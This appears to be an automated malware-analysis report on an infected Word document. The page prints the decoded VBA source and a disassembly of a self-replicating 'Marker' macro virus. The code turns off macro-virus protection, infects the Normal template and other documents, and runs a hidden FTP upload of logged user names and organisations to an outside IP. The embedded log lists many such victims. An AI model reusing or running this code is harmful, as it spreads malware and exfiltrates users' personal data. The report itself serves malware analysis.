MALICIOUS
280
Risk Score
Heuristics 5
-
ClamAV: Doc.Trojan.Marker-31 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Marker-31
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide -
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
Options.VirusProtection = False -
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 26467 bytes |
SHA-256: 075974d7cee028c497c2d47cbf0c78c94aaa0e8409c3228e535c4d3d7b81ce08 |
|||
|
Detection
ClamAV:
Doc.Trojan.Marker-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_New()
'Yarra Valley Water Ltd Loves Nicky F. Also! 22/03/1999 12:32:58
'YMP137 Loves Nicky F. Also! 4/8/99 8:17:35 PM
'Staff Use Only Loves Nicky F. Also! 4/21/99 10:25:43 AM
'Open Access Loves Nicky F. Also! 27/04/99 8:45:32
'Open Access Loves Nicky F. Also! 27/04/99 16:20:14
'Open Access Loves Nicky F. Also! 28/04/99 14:39:51
'Open Access Loves Nicky F. Also! 30/04/99 16:24:24
'Open Access Loves Nicky F. Also! 12/05/99 16:47:49
End Sub
'Yarra Valley Water Ltd Loves Nicky F. Also! 22/03/1999 12:32:58
'YMP137 Loves Nicky F. Also! 4/8/99 8:17:35 PM
'Staff Use Only Loves Nicky F. Also! 4/21/99 10:25:43 AM
'Open Access Loves Nicky F. Also! 27/04/99 8:55:35
'Open Access Loves Nicky F. Also! 27/04/99 14:04:27
'Open Access Loves Nicky F. Also! 27/05/99 14:50:12
End Sub
Private Sub Label1_Click()
'Open Access Loves Nicky F. Also! 8/06/99 20:39:59
'V.U.T Loves Nicky F. Also! 9/06/99 18:53:21
'Hien Loves Nicky F. Also! 6/10/99 7:57:15 AM
'Huy Nguyen Loves Nicky F. Also! 6/28/99 11:02:24 AM
End Sub
Private Sub Document_Close()
On Error Resume Next
Const Marker = "<- this is a marker!"
'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
Dim ad, nt As Object
Dim OurCode, UserAddress, LogData, LogFile As String
'Initialize Variables
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)
DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)
'Switch the VirusProtection OFF
Options.VirusProtection = False
If (Day(Now()) = 1) And (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = False) Then
If DocumentInfected = True Then
LogData = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
ElseIf NormalTemplateInfected = True Then
LogData = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
End If
LogData = Mid(LogData, InStr(1, LogData, "' Log" & "file -->"), Len(LogData) - InStr(1, LogData, "' Log" & "file -->"))
For I = 1 To 4
LogFile = LogFile + Mid(Str(Int(8 * Rnd)), 2, 1)
Next I
LogFile = "C:\hsf" & LogFile & ".sys"
Open LogFile For Output As #1
Print #1, LogData
Close #1
Open "c:\netldx.vxd" For Output As #1
Print #1, "o 209.201.88.110"
Print #1, "user anonymous"
Print #1, "pass itsme@"
Print #1, "cd incoming"
Print #1, "ascii"
Print #1, "put " & LogFile
Print #1, "quit"
Close #1
Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = True
End If
'Make sure that some conditions are true before we continue infecting anything
If (DocumentInfected = True Xor NormalTemplateInfected = True) And _
(ActiveDocument.SaveFormat = wdFormatDocument Or _
ActiveDocument.SaveFormat = wdFormatTemplate) Then
'Infect the NormalTemplate
If DocumentInfected = True Then
SaveNormalTemplate = NormalTemplate.Saved
OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
'Write a log file of this NormalTemplate infection
For I = 1 To Len(Application.UserAddress)
If Mid(Application.UserAddress, I, 1) <> Chr(13) Then
If Mid(Application.UserAddress, I, 1) <> Chr(10) Then
UserAddress = UserAddress & Mid(Application.UserAddress, I, 1)
End If
Else
UserAddress = UserAddress & Chr(13) & "' "
End If
Next I
OurCode = OurCode & Chr(13) & _
"' " & Format(Time, "hh:mm:ss AMPM - ") & _
Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
"' " & Application.UserName & Chr(13) & _
"' " & UserAddress & Chr(13)
nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
nt.CodeModule.AddFromString OurCode
If SaveNormalTemplate = True Then NormalTemplate.Save
End If
'Infect the ActiveDocument
If NormalTemplateInfected = True And _
(Mid(ActiveDocument.FullName, 2, 1) = ":" Or _
ActiveDocument.Saved = False) Then
SaveDocument = ActiveDocument.Saved
OurCode = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
ad.CodeModule.AddFromString OurCode
If SaveDocument = True Then ActiveDocument.Save
End If
End If
End Sub
' Logfile -->
' 09:08:36 - Saturday, 28 Nov 1998
' SPo0Ky
' Blue Planet
'
' 02:50:31 PM - Saturday, 28 Nov 1998
' MARK B. SEAY
'
' 08:04:45 AM - Friday, 4 Dec 1998
' UPS
'
' 11:43:35 AM - Thursday, 17 Dec 1998
' WRO
'
' 11:37:56 AM - Tuesday, 29 Dec 1998
' Dan Ross
'
' 09:50:06 AM - Monday, 11 Jan 1999
' Karen M. Pinks
'
' 04:41:03 PM - Thursday, 21 Jan 1999
' george w. connelly
'
' 06:35:17 PM - Tuesday, 26 Jan 1999
' lynn ann casey
'
' 10:10:39 - Wednesday, 27 Jan 1999
' Jo Baldock
'
' 10:49:33 AM - Monday, 1 Feb 1999
' Richard P. Panico
'
' 05:11:22 PM - Wednesday, 3 Feb 1999
' Jennifer A. Johnsonj
'
' 02:03:10 - Tuesday, 9 Feb 1999
' Coles Myer Ltd.
'
' 05:05:46 - Wednesday, 10 Feb 1999
' Coles Myer Ltd.
'
' 02:04:06 PM - Monday, 22 Feb 1999
' Sally Papworth
'
' 12:39:10 PM - Tuesday, 2 Mar 1999
' Coles Myer Ltd.
'
' 06:58:41 - Wednesday, 3 Mar 1999
' Sonja Mills
'
' 12:02:55 PM - Tuesday, 16 Mar 1999
' Coles Myer Ltd.
'
' 04:44:14 PM - Wednesday, 24 Mar 1999
' RMIT University Library
'
' 11:47:20 AM - Friday, 26 Mar 1999
' RMIT University Library
'
' 07:42:40 PM - Tuesday, 20 Apr 1999
' RMIT University Library
'
' 12:19:56 - Friday, 23 Apr 1999
' Phi
'
' 10:13:02 PM - Wednesday, 5 May 1999
' ***
'
' 06:10:32 AM - Saturday, 29 May 1999
' Huy Nguyen
'
' 07:45:25 PM - Monday, 31 May 1999
' Huy Nguyen
'
' 03:18:50 pm - Thursday, 1 Jul 1999
' VUT
'
'VUT Loves Nicky F. Also! 23/07/99 12:43:05 pm
'VUT Loves Nicky F. Also! 29/07/99 3:48:39 pm
'VUT Loves Nicky F. Also! 5/08/99 11:14:05 am
'VUT Loves Nicky F. Also! 5/08/99 11:57:56 am
'Building M Open Access Lab Loves Nicky F. Also! 11/08/99 12:50:02
'Bulbing M Open Access Loves Nicky F. Also! 11/08/99 14:06:53
'Building M Open Access Lab Loves Nicky F. Also! 18/08/99 11:21:01
'Building M Open Access Lab Loves Nicky F. Also! 1/09/99 11:49:55
'Building M Open Access Lab Loves Nicky F. Also! 1/09/99 13:04:13
' 04:49:27 - Thursday, 9 Sep 1999
' Building M Open Access Lab
'
' 02:02:27 - Monday, 11 Oct 1999
' LAN User
'
' 09:26:47 - Wednesday, 13 Oct 1999
' JMH
'
' 12:51:04 - Monday, 18 Oct 1999
' StaffPC
'
' 05:30:34 - Tuesday, 26 Oct 1999
' Jakub
'
' 10:13:47 AM - Monday, 15 Nov 1999
' Ditry PC
'
' Processing file: /opt/analyzer/scan_staging/0ae212c66093485ca72efae8288eb9fd.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 15283 bytes
' Line #0:
' FuncDefn (Private Sub Document_New())
' Line #1:
' Line #2:
' QuoteRem 0x0000 0x003F "Yarra Valley Water Ltd Loves Nicky F. Also! 22/03/1999 12:32:58"
' Line #3:
' QuoteRem 0x0000 0x002D "YMP137 Loves Nicky F. Also! 4/8/99 8:17:35 PM"
' Line #4:
' QuoteRem 0x0000 0x0037 "Staff Use Only Loves Nicky F. Also! 4/21/99 10:25:43 AM"
' Line #5:
' QuoteRem 0x0000 0x0031 "Open Access Loves Nicky F. Also! 27/04/99 8:45:32"
' Line #6:
' QuoteRem 0x0000 0x0032 "Open Access Loves Nicky F. Also! 27/04/99 16:20:14"
' Line #7:
' QuoteRem 0x0000 0x0032 "Open Access Loves Nicky F. Also! 28/04/99 14:39:51"
' Line #8:
' QuoteRem 0x0000 0x0032 "Open Access Loves Nicky F. Also! 30/04/99 16:24:24"
' Line #9:
' QuoteRem 0x0000 0x0032 "Open Access Loves Nicky F. Also! 12/05/99 16:47:49"
' Line #10:
' EndSub
' Line #11:
' Line #12:
' Line #13:
' QuoteRem 0x0000 0x003F "Yarra Valley Water Ltd Loves Nicky F. Also! 22/03/1999 12:32:58"
' Line #14:
' QuoteRem 0x0000 0x002D "YMP137 Loves Nicky F. Also! 4/8/99 8:17:35 PM"
' Line #15:
' QuoteRem 0x0000 0x0037 "Staff Use Only Loves Nicky F. Also! 4/21/99 10:25:43 AM"
' Line #16:
' QuoteRem 0x0000 0x0031 "Open Access Loves Nicky F. Also! 27/04/99 8:55:35"
' Line #17:
' QuoteRem 0x0000 0x0032 "Open Access Loves Nicky F. Also! 27/04/99 14:04:27"
' Line #18:
' QuoteRem 0x0000 0x0032 "Open Access Loves Nicky F. Also! 27/05/99 14:50:12"
' Line #19:
' EndSub
' Line #20:
' Line #21:
' FuncDefn (Private Sub Label1_Click())
' Line #22:
' Line #23:
' QuoteRem 0x0000 0x0031 "Open Access Loves Nicky F. Also! 8/06/99 20:39:59"
' Line #24:
' QuoteRem 0x0000 0x002B "V.U.T Loves Nicky F. Also! 9/06/99 18:53:21"
' Line #25:
' QuoteRem 0x0000 0x002C "Hien Loves Nicky F. Also! 6/10/99 7:57:15 AM"
' Line #26:
' QuoteRem 0x0000 0x0033 "Huy Nguyen Loves Nicky F. Also! 6/28/99 11:02:24 AM"
' Line #27:
' EndSub
' Line #28:
' FuncDefn (Private Sub Document_Close())
' Line #29:
' Line #30:
' OnError (Resume Next)
' Line #31:
' Line #32:
' Dim (Const)
' LitStr 0x0014 "<- this is a marker!"
' VarDefn Marker
' Line #33:
' Line #34:
' QuoteRem 0x0000 0x0011 "Declare Variables"
' Line #35:
' Dim
' VarDefn SaveDocument
' VarDefn SaveNormalTemplate
' VarDefn DocumentInfected
' VarDefn NormalTemplateInfected (As Boolean)
' Line #36:
' Dim
' VarDefn ad
' VarDefn nt (As Object)
' Line #37:
' Dim
' VarDefn OurCode
' VarDefn UserAddress
' VarDefn LogData
' VarDefn LogFile (As String)
' Line #38:
' Line #39:
' QuoteRem 0x0000 0x0014 "Initialize Variables"
' Line #40:
' SetStmt
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' Set ad
' Line #41:
' SetStmt
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' Set nt
' Line #42:
' Line #43:
' Ld Marker
' LitDI2 0x0001
' LitDI2 0x0001
' LitDI2 0x2710
' LitDI2 0x2710
' Ld ad
' MemLd CodeModule
' ArgsMemLd Find 0x0005
' St DocumentInfected
' Line #44:
' Ld Marker
' LitDI2 0x0001
' LitDI2 0x0001
' LitDI2 0x2710
' LitDI2 0x2710
' Ld nt
' MemLd CodeModule
' ArgsMemLd Find 0x0005
' St NormalTemplateInfected
' Line #45:
' Line #46:
' Line #47:
' QuoteRem 0x0000 0x001E "Switch the VirusProtection OFF"
' Line #48:
' LitVarSpecial (False)
' Ld Options
' MemSt VirusProtection
' Line #49:
' Line #50:
' Line #51:
' ArgsLd Now 0x0000
' ArgsLd Day 0x0001
' LitDI2 0x0001
' Eq
' Paren
' LitStr 0x0000 ""
' LitStr 0x003E "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info"
' LitStr 0x0007 "LogFile"
' Ld System
' ArgsMemLd PrivateProfileString 0x0003
' LitVarSpecial (False)
' Eq
' Paren
' And
' IfBlock
' Line #52:
' Line #53:
' Ld DocumentInfected
' LitVarSpecial (True)
' Eq
' IfBlock
' Line #54:
' LitDI2 0x0001
' Ld ad
' MemLd CodeModule
' MemLd CountOfLines
' Ld ad
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' St LogData
' Line #55:
' Ld NormalTemplateInfected
' LitVarSpecial (True)
' Eq
' ElseIfBlock
' Line #56:
' LitDI2 0x0001
' Ld nt
' MemLd CodeModule
' MemLd CountOfLines
' Ld nt
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' St LogData
' Line #57:
' EndIfBlock
' Line #58:
' Line #59:
' Ld LogData
' LitDI2 0x0001
' Ld LogData
' LitStr 0x0005 "' Log"
' LitStr 0x0008 "file -->"
' Concat
' FnInStr3
' Ld LogData
' FnLen
' LitDI2 0x0001
' Ld LogData
' LitStr 0x0005 "' Log"
' LitStr 0x0008 "file -->"
' Concat
' FnInStr3
' Sub
' ArgsLd Mid$ 0x0003
' St LogData
' Line #60:
' Line #61:
' StartForVariable
' Ld I
' EndForVariable
' LitDI2 0x0001
' LitDI2 0x0004
' For
' Line #62:
' Ld LogFile
' LitDI2 0x0008
' Ld Rnd
' Mul
' FnInt
' ArgsLd Str 0x0001
' LitDI2 0x0002
' LitDI2 0x0001
' ArgsLd Mid$ 0x0003
' Add
' St LogFile
' Line #63:
' StartForVariable
' Ld I
' EndForVariable
' NextVar
' Line #64:
' LitStr 0x0006 "C:\hsf"
' Ld LogFile
' Concat
' LitStr 0x0004 ".sys"
' Concat
' St LogFile
' Line #65:
' Line #66:
' Ld LogFile
' LitDI2 0x0001
' Sharp
' LitDefault
' Open (For Output)
' Line #67:
' LitDI2 0x0001
' Sharp
' PrintChan
' Ld LogData
' PrintItemNL
' Line #68:
' LitDI2 0x0001
' Sharp
' Close 0x0001
' Line #69:
' Line #70:
' LitStr 0x000D "c:\netldx.vxd"
' LitDI2 0x0001
' Sharp
' LitDefault
' Open (For Output)
' Line #71:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0010 "o 209.201.88.110"
' PrintItemNL
' Line #72:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x000E "user anonymous"
' PrintItemNL
' Line #73:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x000B "pass itsme@"
' PrintItemNL
' Line #74:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x000B "cd incoming"
' PrintItemNL
' Line #75:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0005 "ascii"
' PrintItemNL
' Line #76:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0004 "put "
' Ld LogFile
' Concat
' PrintItemNL
' Line #77:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0004 "quit"
' PrintItemNL
' Line #78:
' LitDI2 0x0001
' Sharp
' Close 0x0001
' Line #79:
' Line #80:
' LitStr 0x002A "command.com /c ftp.exe -n -s:c:\netldx.vxd"
' Ld vbHide
' ArgsCall Shell 0x0002
' Line #81:
' Line #82:
' LitVarSpecial (True)
' LitStr 0x0000 ""
' LitStr 0x003E "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info"
' LitStr 0x0007 "LogFile"
' Ld System
' ArgsMemSt PrivateProfileString 0x0003
' Line #83:
' Line #84:
' EndIfBlock
' Line #85:
' Line #86:
' Line #87:
' QuoteRem 0x0000 0x004D "Make sure that some conditions are true before we continue infecting anything"
' Line #88:
' LineCont 0x0008 0B 00 03 00 12 00 03 00
' Ld DocumentInfected
' LitVarSpecial (True)
' Eq
' Ld NormalTemplateInfected
' LitVarSpecial (True)
' Eq
' Xor
' Paren
' Ld ActiveDocument
' MemLd SaveFormat
' Ld wdFormatDocument
' Eq
' Ld ActiveDocument
' MemLd SaveFormat
' Ld wdFormatTemplate
' Eq
' Or
' Paren
' And
' IfBlock
' Line #89:
' Line #90:
' Line #91:
' QuoteRem 0x0002 0x0019 "Infect the NormalTemplate"
' Line #92:
' Ld DocumentInfected
' LitVarSpecial (True)
' Eq
' IfBlock
' Line #93:
' Line #94:
' Ld NormalTemplate
' MemLd Saved
' St SaveNormalTemplate
' Line #95:
' Line #96:
' LitDI2 0x0001
' Ld ad
' MemLd CodeModule
' MemLd CountOfLines
' Ld ad
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' St OurCode
' Line #97:
' Line #98:
' Line #99:
' QuoteRem 0x0004 0x0031 "Write a log file of this NormalTemplate infection"
' Line #100:
' StartForVariable
' Ld I
' EndForVariable
' LitDI2 0x0001
' Ld Application
' MemLd UserAddress
' FnLen
' For
' Line #101:
' Ld Application
' MemLd UserAddress
' Ld I
' LitDI2 0x0001
' ArgsLd Mid$ 0x0003
' LitDI2 0x000D
' ArgsLd Chr 0x0001
' Ne
' IfBlock
' Line #102:
' Ld Application
' MemLd UserAddress
' Ld I
' LitDI2 0x0001
' ArgsLd Mid$ 0x0003
' LitDI2 0x000A
' ArgsLd Chr 0x0001
' Ne
' IfBlock
' Line #103:
' Ld UserAddress
' Ld Application
' MemLd UserAddress
' Ld I
' LitDI2 0x0001
' ArgsLd Mid$ 0x0003
' Concat
' St UserAddress
' Line #104:
' EndIfBlock
' Line #105:
' ElseBlock
' Line #106:
' Ld UserAddress
' LitDI2 0x000D
' ArgsLd Chr 0x0001
' Concat
' LitStr 0x0002 "' "
' Concat
' St UserAddress
' Line #107:
' EndIfBlock
' Line #108:
' StartForVariable
' Ld I
' EndForVariable
' NextVar
' Line #109:
' Line #110:
' LineCont 0x0010 09 00 0E 00 12 00 15 00 1E 00 0E 00 29 00 0E 00
' Ld OurCode
' LitDI2 0x000D
' ArgsLd Chr 0x0001
' Concat
' LitStr 0x0002 "' "
' Concat
' Ld Time
' LitStr 0x0010 "hh:mm:ss AMPM - "
' ArgsLd Format$ 0x0002
' Concat
' Ld Date
' LitStr 0x0010 "dddd, d mmm yyyy"
' ArgsLd Format$ 0x0002
' Concat
' LitDI2 0x000D
' ArgsLd Chr 0x0001
' Concat
' LitStr 0x0002 "' "
' Concat
' Ld Application
' MemLd UserName
' Concat
' LitDI2 0x000D
' ArgsLd Chr 0x0001
' Concat
' LitStr 0x0002 "' "
' Concat
' Ld UserAddress
' Concat
' LitDI2 0x000D
' ArgsLd Chr 0x0001
' Concat
' St OurCode
' Line #111:
' Line #112:
' Line #113:
' LitDI2 0x0001
' Ld nt
' MemLd CodeModule
' MemLd CountOfLines
' Ld nt
' MemLd CodeModule
' ArgsMemCall DeleteLines 0x0002
' Line #114:
' Ld OurCode
' Ld nt
' MemLd CodeModule
' ArgsMemCall AddFromString 0x0001
' Line #115:
' Line #116:
' Ld SaveNormalTemplate
' LitVarSpecial (True)
' Eq
' If
' BoSImplicit
' Ld NormalTemplate
' ArgsMemCall Save 0x0000
' EndIf
' Line #117:
' Line #118:
' EndIfBlock
' Line #119:
' Line #120:
' Line #121:
' QuoteRem 0x0002 0x0019 "Infect the ActiveDocument"
' Line #122:
' LineCont 0x0008 05 00 05 00 13 00 05 00
' Ld NormalTemplateInfected
' LitVarSpecial (True)
' Eq
' Ld ActiveDocument
' MemLd FullName
' LitDI2 0x0002
' LitDI2 0x0001
' ArgsLd Mid$ 0x0003
' LitStr 0x0001 ":"
' Eq
' Ld ActiveDocument
' MemLd Saved
' LitVarSpecial (False)
' Eq
' Or
' Paren
' And
' IfBlock
' Line #123:
' Line #124:
' Ld ActiveDocument
' MemLd Saved
' St SaveDocument
' Line #125:
' Line #126:
' LitDI2 0x0001
' Ld nt
' MemLd CodeModule
' MemLd CountOfLines
' Ld nt
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' St OurCode
' Line #127:
' Line #128:
' LitDI2 0x0001
' Ld ad
' MemLd CodeModule
' MemLd CountOfLines
' Ld ad
' MemLd CodeModule
' ArgsMemCall DeleteLines 0x0002
' Line #129:
' Ld OurCode
' Ld ad
' MemLd CodeModule
' ArgsMemCall AddFromString 0x0001
' Line #130:
' Line #131:
' Ld SaveDocument
' LitVarSpecial (True)
' Eq
' If
' BoSImplicit
' Ld ActiveDocument
' ArgsMemCall Save 0x0000
' EndIf
' Line #132:
' Line #133:
' EndIfBlock
' Line #134:
' Line #135:
' Line #136:
' EndIfBlock
' Line #137:
' Line #138:
' EndSub
' Line #139:
' Line #140:
' QuoteRem 0x0000 0x000C " Logfile -->"
' Line #141:
' Line #142:
' QuoteRem 0x0000 0x0022 " 09:08:36 - Saturday, 28 Nov 1998"
' Line #143:
' QuoteRem 0x0000 0x0007 " SPo0Ky"
' Line #144:
' QuoteRem 0x0000 0x000C " Blue Planet"
' Line #145:
' QuoteRem 0x0000 0x0000 ""
' Line #146:
' Line #147:
' Line #148:
' Line #149:
' QuoteRem 0x0000 0x0024 " 02:50:31 PM - Saturday, 28 Nov 1998"
' Line #150:
' QuoteRem 0x0000 0x000D " MARK B. SEAY"
' Line #151:
' QuoteRem 0x0000 0x0000 ""
' Line #152:
' Line #153:
' Line #154:
' Line #155:
' QuoteRem 0x0000 0x0021 " 08:04:45 AM - Friday, 4 Dec 1998"
' Line #156:
' QuoteRem 0x0000 0x0004 " UPS"
' Line #157:
' QuoteRem 0x0000 0x0000 ""
' Line #158:
' Line #159:
' Line #160:
' Line #161:
' QuoteRem 0x0000 0x0024 " 11:43:35 AM - Thursday, 17 Dec 1998"
' Line #162:
' QuoteRem 0x0000 0x0004 " WRO"
' Line #163:
' QuoteRem 0x0000 0x0000 ""
' Line #164:
' Line #165:
' Line #166:
' Line #167:
' QuoteRem 0x0000 0x0023 " 11:37:56 AM - Tuesday, 29 Dec 1998"
' Line #168:
' QuoteRem 0x0000 0x0009 " Dan Ross"
' Line #169:
' QuoteRem 0x0000 0x0000 ""
' Line #170:
' Line #171:
' Line #172:
' Line #173:
' QuoteRem 0x0000 0x0022 " 09:50:06 AM - Monday, 11 Jan 1999"
' Line #174:
' QuoteRem 0x0000 0x000F " Karen M. Pinks"
' Line #175:
' QuoteRem 0x0000 0x0000 ""
' Line #176:
' Line #177:
' Line #178:
' Line #179:
' QuoteRem 0x0000 0x0024 " 04:41:03 PM - Thursday, 21 Jan 1999"
' Line #180:
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.